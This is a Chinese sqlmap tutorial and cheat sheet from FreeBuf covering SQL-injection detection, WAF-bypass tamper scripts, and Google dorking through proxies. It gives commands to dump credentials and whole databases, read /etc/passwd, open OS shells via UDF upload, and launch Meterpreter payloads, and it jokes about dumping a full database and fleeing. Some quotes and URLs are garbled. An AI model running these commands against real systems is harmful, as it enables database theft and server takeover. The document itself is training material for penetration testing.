SQLmap是一種開源滲透測試工具,可自動執行SQL注入缺陷的檢測和開發過程,並接管數據庫服務器。它有強大的檢測引擎,針對不同類型的數據庫提供多樣的滲透測試功能選項,實現數據庫識別、數據獲取、訪問DBMS\操作系統甚至通過帶外數據連接的方式執行操作系統的命令。以及從數據庫指紋識別、從數據庫獲取數據、訪問底層文件的廣泛范圍的交換機通過帶外連接在操作系統上執行命令。
SQLMAP支持的數據包括:MySQL, Oracle,PostgreSQL,Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等數據庫。
Sqlmap使用經驗總結
1 | 在使用-v參數的時候,盡量選擇,3級別,次級別可以顯示注入的參數。 例如:sqlmap -v3 -u www.potian.com |
2 | 當一件知道數據庫信息的時候,使用-d直接連接數據庫,注意-D是指定目標庫,要區分。 例如:-d mysql://POTIAN : 123123 @127.0.0.1:3306/ ORDER |
3 | 當使用Burp或WebScarab保存了日志的時候,想從日志文件中篩選目標,可使用-I使用 絕對路徑地址即可。 |
4 | -g可以使用google的搜索結果,例如,直接搜索uid=,查找具有此參數的站點,直接使用sqlmap調用google結果,例:sqlmap -g inurl:php?uid=。(收集了一些語句,在附表)當需要使用-g inurl:php?uid=等參數時,默認無法訪問,可使用此參數+海外代理方式使用此功能。當代理需要驗證的時候,使用-cre指定身份信息,需要使用代理輪巡時,使用文件加載代理設置列表,使用代理輪詢也可在對訪問ip次數進行了驗證的場景使用。(鑒於我國國情,不建議使用) |
5 | 服務端允許的情況下,–method改變默認的http方法,和其他參數配合使用,例如–data,改變為post然后推送數據。 |
6 | 默認情況下sqlmap的HTTP請求頭中User-Agent值是:sqlmap/*.*-dev-xxxxxxx(http://sqlmap.org) 可以使用–user-agent參數來指定想使用的UA,同時也可以使用–random-agent參數來隨機的從./txt/user-agents.txt中獲取。當–level參數設定為3或者3以上的時候,會嘗試對User-Angent進行注入.另外UA是繞過waf的參數,–user-agent= –random-agent這兩個參數可對waf針對惡意ua的防控進行繞過。 |
7 | 指定http請求中的header里的host參數、在請求中偽造referer,有些waf和安全產品等會對refer進行限制,僅允許本站referer,當waf參數對referer進行了限制后,可使用此參數進行繞過。當–level參數設定為3或者3以上的時候會嘗試對referer注入指定其他的header信息,XFF等,例如strust2-045使用了Content-Type |
8 | HTTP代理身份驗證憑據,可自動使用username:password和秘鑰文件,例如有些訪問會使用key文件,集團sso最愛出現此種場景,在這種身份驗證憑據的需求中,也可使用-I參數使用burp等代理記錄文件來使用身份憑據 |
9 | 設置http請求間隔時間,在繞過需求時使用,例如單ip單位時間訪問多少次,可配合代理和多代理參數使用。超時連接后的嘗試間隔,默認30s,可手動調整,一般–timeout和–retries配合使用 |
10 | 有的網站會對提交的參數進行編碼或加密,這時候需要根據某個參數的變化,而修改另個一參數,才能形成正常的請求,這時可以用–eval參數在每次請求時根據所寫python代碼做完修改后請求。 例子:–eval=”"import hashlib;hash=hashlib.md5(id).hexdigest()”"上面的請求就是每次請求時根據id參數值,做一次md5后作為hash參數的值。” |
11 | sqlmap默認測試所有的GET和POST參數,上文提到過,當–level的值大於等於2的時候也會測試HTTP Cookie頭的值,大於等於3的時候也會測試User-Agent和HTTP Referer頭的值。這時候可以手動指定-p參數設置想要測試的參數。 例如:-p “”id,cookie”"但是有個別參數不想測試的時候可以使用–skip=“user-agent”參數。 |
12 | 數值處理:參數:–invalid-bignum –invalid-logical這兩個參數對報錯數據、無效數據進行更改,例如默認報錯UID=-20,可以通過制定以上參數制定無效的大數字和邏輯,比如uid=999999999和uid=20 and a=b 參數:–prefix,–suffix在注入的payload的前面或者后面加一些字符,來保證payload的正常執行,例如在語句中增加–prefix “”’)”" –suffix “”AND (’1’=’1″” |
13 | –tamper可從tamper庫里查找相關內容,使用–tamper tamper/*.py方式指定 |
14 | 上文多次解釋–level對測試參數的影響,一共有五個等級,默認為1,sqlmap使用的payload可以在payloads.xml中看到,你也可以根據相應的格式添加自己的payload內容,默認也有一些,可定制。 –level的值大於等於2的時候也會測試HTTP Cookie頭的值,大於等於3的時候也會測試User-Agent和HTTP Referer頭的值,建議最高級別,會更慢、測試參數更復雜。 |
15 | risk從0-3共有四個風險等級,默認是1,risk1會測試大部分的測試語句,risk2會增加基於事件的測試語句,3會增加OR語句的注入測試。測試的語句同樣可以在payloads.xml中找到,可以自行添加payload。 警告:當使用高級別時,可能會使用drop、update等高危語句對整表、整庫造成影響,可能導致更新的整個表,可能造成很大的風險。 |
16 | “sqlmap測試結果取決於返回內容,當頁面在刷新或更新后,可能導致返回不同的內容,特別是頁面有動態內容的情況下。為了避免誤報,可指定字符串或者正則表達式來區分原始頁面和報錯頁面(–string參數添加字符串,–regexp添加正則),也可以提供一段字符串在原始頁面與true下的頁面都不存在的字符串,而false頁面中存在的字符串(–not-string添加)。 用戶也可以提供true與false返回的HTTP狀態碼不一樣來注入,例如,響應200的時候為真,響應401的時候為假,–code=200。 |
17 | 默認sqlmap會把BEUSTQ六中注入方式全來一遍,可根據實際情況進行調整,例如可使用時間延遲,看網站響應時間來判斷是否有注入,可根據報錯判斷注入。如果不是很懂,就不用管,雖然時間長點,但很全面。 B:Boolean-based blind SQL injection(布爾型注入) E:Error-based SQL injection(報錯型注入) U:UNION query SQL injection(可聯合查詢注入) S:Stacked queries SQL injection(可多語句查詢注入) T: Time-based blind SQL injection(基於時間延遲注入) Q: Inline SQL Injection (內聯注入) 當使用基於時間延遲注入的盲注時,時刻使用–time-sec參數設定延時時間,默認是5秒,可以根據環境記性調整,比如網絡延遲很大,可適當增加延時時間 |
18 | –union-cols設定的值為一段整數范圍,制定區間,此數值默認為1-10,隨着–levle增加,當為5的時候增加為50,當level級別和取值范圍不匹配,在低級別需求更大的范圍,可通過設定–union-cols的值來實現。設定union查詢使用的字符,默認使用NULL,但是可能會返回失敗,–union-char指定UNION查詢的字符。指定查詢的表,配合上文暴力破解的字符、范圍等來詳細使用。 |
19 | 在一旦注入成功且獲得精確信息通過以下詳細參數來指定檢索、枚舉動作和動作執行對象:檢索DBMS的指紋特征、數據庫、host值、用戶身份、並對用戶、密碼、權限、角色進行枚舉也就是爆破。然后嘗試枚舉數據庫、數據庫里的表、數據庫里的內容、可以使用count來統計條目等操作。dump和dump-all就是脫褲和全脫的區別,dump某表的十條八條可能沒事兒,dump-all注定要浪跡天涯,也就是所謂的從脫褲到跑路的開始,通過-D\-T\-C來制定索要枚舉的庫、表、和列,使用-X來排除不想要的列,特別是有多列且有無意義字段的時候,使用-X可大大節省時間。 –exclude-sysdbs參數,將不會獲取數據庫自帶的系統庫內容,可減少干擾內容,對-count的使用和枚舉信息的使用建議搭配此參數來排除系統庫。 當我們不想跑路的時候,那么請使用下面內容: –start=LIMITSTART First query output entry to retrieve指定從第幾行開始輸出,如: –start=1 –stop=LIMITSTOP Last query output entry to retrieve 指定從第幾行停止輸出 –stop=10 –first=FIRSTCHAR First query output word character to retrieve 指定從第幾個字符開始輸出 –first 1 –last=LASTCHAR Last query output word character to retrieve 指定從第幾個字符停止輸出–last10 |
20 | 暴力檢查:猜測檢查常見的、通用的表名和列名,可通過下面兩個文件進行定制化,暴力破解的表在txt/common-tables.txt文件中,暴力破解的列名在txt/common-columns.txt中 |
21 | 對文件系統、操作系統的交互和使用必須需要相應的權限,前面提到要求具有特定的函數執行特權,一般要求root。針對文件系統的讀寫:對–file-read配置絕對系統路徑,可讀取相應文件內容,可以是文本,也可以是二進制,條件是必須擁有相對應特權,已知的是mysql、postgresql和sqlserver。寫入也是同樣,往遠端后台的DBMS里寫入一個本地文件,可通過–file-dest指定絕對文件路徑。” 當然和上面可以配合使用,當數據庫為MySQL,PostgreSQL或Microsoft SQL Server,並且當前用戶有權限使用特定的函數。然后通過上面的文件系統管理上傳一個庫,使用可執行系統命令的sys_exec()和sys_eval(),甚至xp_cmdshell存儲過程 –os-shell參數也可以模擬一個真實的shell,可以輸入你想執行的命令。 Meterpreter配合使用 –os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path配合Meterpreter使用,當前用戶有權限使用特定的函數,可以在數據庫與攻擊者直接建立TCP連接,這個連接可以是一個交互式命令行的Meterpreter會話,sqlmap根據Metasploit生成shellcode,四種方式執行它: 1.通過用戶自定義的sys_bineval()函數在內存中執行Metasplit的shellcode,支持MySQL和PostgreSQL數據庫,參數:–os-pwn。 2.通過用戶自定義的函數上傳一個獨立的payload執行,MySQL和PostgreSQL的sys_exec()函數,Microsoft SQL Server的xp_cmdshell()函數,參數:–os-pwn。 3.通過SMB攻擊(MS08-068)來執行Metasploit的shellcode,當sqlmap獲取到的權限足夠高的時候(Linux/Unix的uid=0,Windows是Administrator),–os-smbrelay。 4.通過溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存儲過程(MS09-004),在內存中執行Metasploit的payload,參數:–os-bof。 |
22 | 所見即所得,注冊表連接指的是windows系統,相信大家都有windows系統知識,不懂注冊表基本就不懂windows系統,所有的windows系統配置在注冊表里都可實現,比如開啟遠程連接、比如新建用戶、比如組策略配置、比如防火牆等等,reg可對注冊表內容進行讀取、編輯、和刪除,上面和下面相配合可實現對指定的key、value、data和類型進行操作。 |
23 | –batch 在使用sqlmap時,有時一些響應需要用戶交互,輸入Y、N、skip、quit等,使用此選項可使用默認配置。 –output-dir= 指定輸出路徑,方式控制台輸出過多,無法查看,也方便記錄 –gpage=GOOGLEPAGE 好像默認是使用google搜索的前100個文件,當使用前面的-g參數,配合此參數指定頁面 –identify-waf 進行WAF/IPS/IDS保護測試,目前大約支持30種產品的識別 –mobile 使用移動產品UA,把sqlmap偽裝成手機,也可使用前面的 -user-agent 自己指定 –smart 智能深度啟發式掃描,或許會有驚喜呢。 –wizard 和上面的完全不同,純新手選擇,一步步讓你輸入url等參數,基本輸入個url就行。 |
Sqlmap實操語句
1 | 手工基本檢測和判斷(在注入點使用or、and等可判斷是否有注入點) | 原始網頁:http://www.potian.com/mysql/product/user_info.php?uid=1 024 構造url1:http://www.potian.com/mysql/product/user_info.php?uid=1 024+AND+1=1 構造url2:http://www.potian.com/mysql/product/user_info.php?uid=1 024+AND+1=1 025 |
2 | 基礎檢測語法 | sqlmap.py -u http://www.potian.com/mysql/product/user_info.php?uid=1 024 |
3 | 批量檢測 | “sqlmap.py -m target.txt”,注意target.txt跟sqlmap在同一個目錄下。 |
4 | 繞過WAF進行SQL注入 | (1)修改\sqlmap\tamper\halfversionedmorekeywords.py return match.group().replace(word, ”/*!0%s” % word) 為:return match.group().replace(word, ”/*!50000%s*/” % word) (2)修改\sqlmap\xml\queries.xml <cast query= ”CAST(%s ASCHAR)”/>為:<castquery= ”convert(%s,CHAR)”/> (3)使用sqlmap進行注入測試sqlmap.py -u ”http://www.potian.com/detail.php? id=16″ –tamper “halfversionedmorekeywords.py” 其它繞過waf腳本方法:sqlmap.py-u “ http://www.potian.com/mysql/product/user_info.php?uid=1 024” –tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 (4)tamper目錄下文件具體含義: space2comment.py 用/**/代替空格 apostrophemask.py 用utf8代替引號 equaltolike.pylike 代替等號 space2dash.py 繞過過濾‘=’ 替換空格字符(”),(’–‘)后跟一個破折號注釋,一個隨機字符串和一個新行(’n’) greatest.py 繞過過濾’>’ ,用GREATEST替換大於號。 space2hash.py 空格替換為#號,隨機字符串以及換行符 apostrophenullencode.py 繞過過濾雙引號,替換字符和雙引號。 halfversionedmorekeywords.py 當數據庫為mysql時繞過防火牆,每個關鍵字之前添加mysql版本評論 space2morehash.py 空格替換為#號 以及更多隨機字符串 換行符 appendnullbyte.py 在有效負荷結束位置加載零字節字符編碼 ifnull2ifisnull.py 繞過對IFNULL過濾,替換類似’IFNULL(A,B)’為’IF(ISNULL(A), B, A)’ space2mssqlblank.py(mssql) 空格替換為其它空符號 base64encode.py 用base64編碼替換 space2mssqlhash.py 替換空格 modsecurityversioned.py 過濾空格,包含完整的查詢版本注釋 space2mysqlblank.py 空格替換其它空白符號(mysql) between.py 用between替換大於號(>) space2mysqldash.py 替換空格字符(”)(’ – ‘)后跟一個破折號注釋一個新行(’ n’) multiplespaces.py 圍繞SQL關鍵字添加多個空格 space2plus.py 用+替換空格 bluecoat.py 代替空格字符后與一個有效的隨機空白字符的SQL語句,然后替換=為like nonrecursivereplacement.py 雙重查詢語句,取代SQL關鍵字 space2randomblank.py 代替空格字符(“”)從一個隨機的空白字符可選字符的有效集 sp_password.py 追加sp_password’從DBMS日志的自動模糊處理的有效載荷的末尾 chardoubleencode.py 雙url編碼(不處理以編碼的) unionalltounion.py 替換UNION ALLSELECT UNION SELECT charencode.py url編碼 randomcase.py 隨機大小寫 unmagicquotes.py 寬字符繞過 GPCaddslashes randomcomments.py 用/**/分割sql關鍵字 charunicodeencode.py 字符串unicode編碼 securesphere.py 追加特制的字符串 versionedmorekeywords.py 注釋繞過 space2comment.py 替換空格字符串(‘‘) 使用注釋‘/**/’ halfversionedmorekeywords.py 關鍵字前加注釋 |
5 | URL重寫SQL注入測試 | value1為測試參數,加“*”即可,sqlmap將會測試value1的位置是否可注入。 sqlmap.py -u ” http://www.potian.com/param1/value1 */param2/value2/” |
6 | 列舉並破解密碼哈希值 | 當前用戶有權限讀取包含用戶密碼的權限時,sqlmap會現列舉出用戶,然后列出hash,並嘗試破解。 sqlmap.py -u ” http://www.potian.com/sqlmap/pgsql/get_int.php?id=1 ” –passwords -v1 |
7 | 獲取表中的數據個數 | sqlmap.py -u ” http://www.potian.com/sqlmap/mssql/iis/get_int.asp?id=1 ” –count -Dtestdb |
8 | 站點爬取 | sqlmap.py -u “ http://www.secbang.com “–batch –crawl=3 |
9 | 注入時間預估(基於布爾) | sqlmap.py -u “ http://www.secbang.com/sqlmap/oracle/get_int_bool.php?id=1 “-b –eta |
10 | 使用hex避免字符編碼導致數據丟失 | sqlmap.py -u “ http://www.secbang.com/pgsql/get_int.php?id=1 ” –banner –hex -v 3 –parse-errors |
11 | 模擬測試手機環境站點 | python sqlmap.py -u ” http://www.secbang.com/vuln.php?id=1 ” –mobile |
12 | 智能判斷測試 | sqlmap.py -u “ http://www.secbang.com/info.php?id=1 “–batch –smart |
13 | 結合burpsuite進行注入 | sqlmap.py -r burpsuite 抓包.txt |
14 | sqlmap 自動填寫表單注入 | sqlmap.py -u URL –forms sqlmap.py -u URL –forms –dbs sqlmap.py -u URL –forms –current-db sqlmap.py -u URL –forms -D 數據庫名稱–tables sqlmap.py -u URL –forms -D 數據庫名稱 -T 表名 –columns sqlmap.py -u URL –forms -D 數據庫名稱 -T 表名 -Cusername,password –dump |
15 | 讀取linux下文件 | sqlmap.py-u “url” –file /etc/password |
16 | sqlmap cookies 注入 | sqlmap.py -u “ http://www.potian.com/mysql/product/user_info.php?uid=1 024“–cookies “ssuid=*″ –dbs –level 3 sqlmap.py -u 注入點URL –cookie”id=xx” –level 3 sqlmap.py -u url –cookie “id=xx”–level 3 –tables( 猜表名) sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 –coiumns sqlmap.py -u url –cookie “id=xx”–level 3 -T 表名 -C username,password –dump |
17 | 連接mysql數據打開一個交互shell | sqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap –sql-shell select @@version; select @@plugin_dir; |
18 | 利用sqlmap上傳lib_mysqludf_sys到MySQL插件目錄 | sqlmap.py -dmysql://potian:123123@www.potian.com:3306/sqlmap –file-write=d:/tmp/lib_mysqludf_sys.dll–file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll CREATE FUNCTION sys_exec RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ CREATE FUNCTION sys_eval RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’ select sys_eval(‘ver’); |
19 | 執行shell命令 | sqlmap.py -u “url” –os-cmd=”netuser” /*執行net user命令*/ sqlmap.py -u “url” –os-shell /*系統交互的shell*/ |
20 | 延時注入 | sqlmap –dbs -u”url” –delay 0.5 /* 延時0.5秒*/ sqlmap –dbs -u”url” –safe-freq /* 請求2次*/ |
本文作者:破天·張坤,轉載請注明來自FreeBuf.COM